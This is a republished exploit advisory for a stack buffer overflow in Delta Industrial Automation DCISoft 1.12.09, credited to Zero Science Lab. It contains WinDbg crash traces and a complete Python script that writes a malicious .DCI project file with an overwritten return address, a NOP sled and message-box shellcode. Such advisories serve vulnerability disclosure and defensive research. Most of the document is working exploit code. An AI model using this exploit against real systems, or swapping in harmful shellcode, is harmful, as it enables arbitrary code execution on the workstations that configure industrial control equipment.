Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit

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Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit

来源：http://www.zeroscience.mk 作者：LiquidWorm 发布时间：2016-02-15

#!/usr/bin/env python

#

# Delta Industrial Automation DCISoft 1.12.09 Stack Buffer Overflow Exploit

#

# Vendor: Delta Electronics, Inc.

# Product web page: http://www.delta.com.tw

# Software link: http://www.delta.com.tw/product/em/download/download_main.asp?act=3&pid=3&cid=5&tpid=3

# Affected version: 1.12.09 (Build 12102014)

#

# Summary: DCISoft is a integrated configuration tool of Delta

# network modules (DVPEN01-SL, RTU-EN01, IFD9506, IFD9507, DVPSCM12-SL,

# DVPSCM52-SL) for WINDOWS operation system.

#

# Desc: The vulnerability is caused due to a boundary error in

# the processing of a project file, which can be exploited to

# cause a stack based buffer overflow when a user opens e.g. a

# specially crafted .DCI file. Successful exploitation allows

# execution of arbitrary code on the affected machine.

#

# ----------------------------------------------------------------------------

# (1554.1830): Access violation - code c0000005 (!!! second chance !!!)

# eax=00000001 ebx=0018f684 ecx=44444444 edx=777a4a20 esi=0018f65c edi=777a4a20

# eip=73d34b64 esp=0018cdd8 ebp=0018cdec iopl=0 nv up ei pl nz na po nc

# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202

# MFC42!Ordinal2740+0x88:

# 73d34b64 8b01 mov eax,dword ptr [ecx] ds:002b:44444444=????????

# 0:000> d esp

# 0018cdd8 1c f6 18 00 a8 a5 47 00-01 00 00 00 01 00 00 00 ......G.........

# 0018cde8 5c f6 18 00 fc cd 18 00-a4 59 41 00 e1 b5 85 88 \........YA.....

# 0018cdf8 5c f6 18 00 d8 f8 18 00-fa 38 41 00 84 f6 18 00 \........8A.....

# 0018ce08 c8 8f 74 02 e8 1f 7c 02-04 ce 18 00 c8 8f 74 02 ..t...|.......t.

# 0018ce18 04 ce 18 00 44 44 44 44-44 44 44 44 44 44 44 44 ....DDDDDDDDDDDD

# 0018ce28 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD

# 0018ce38 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD

# 0018ce48 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD

# --

# (11bc.1394): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# Defaulted to export symbols for C:\Program Files (x86)\Delta Industrial Automation\Communication\DCISoft 1.12\MFC42.DLL -

# eax=0018cdfc ebx=0018f684 ecx=0018cdec edx=ce085164 esi=0018f65c edi=31f7ae9c

# eip=43434343 esp=0018cdcc ebp=0018cdec iopl=0 nv up ei pl nz ac pe cy

# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210217

# 43434343 ?? ???

# ----------------------------------------------------------------------------

#

# Tested on: Microsoft Windows 7 Professional SP1 (EN)

# Microsoft Windows 7 Ultimate SP1 (EN)

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

#

# Advisory ID: ZSL-2016-5305

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5305.php

#

# 13.11.2015

#

sc = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"

"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"

"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"

"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"

"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"

"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x65\x64"

"\x21\x01\x68\x20\x50\x77\x6e\x68\x20\x5a\x53\x4c\x89\xe1\xfe"

"\x49\x0b\x31\xc0\x51\x50\xff\xd7")

buffer = "\x41" * 156 # align

buffer += "\x3c\xce\x18\x00" # eip - jmp esp+49h

buffer += "\x90" * 15 # nopsled

buffer += sc # 113 bytes messagebox shellcode

buffer += "\x44" * 7926 # extra shellcode space

buffer += "\xec\xcd\x18\x00" # overwrite data segment to control eip - mov eax,dword ptr [ecx]

buffer += "\x45" * 2203 # padding to fix 10421 bytes

f = open ("Detachment.dci", "w")

f.write(buffer)

f.close()

print "File Detachment.dci successfully created!\n"

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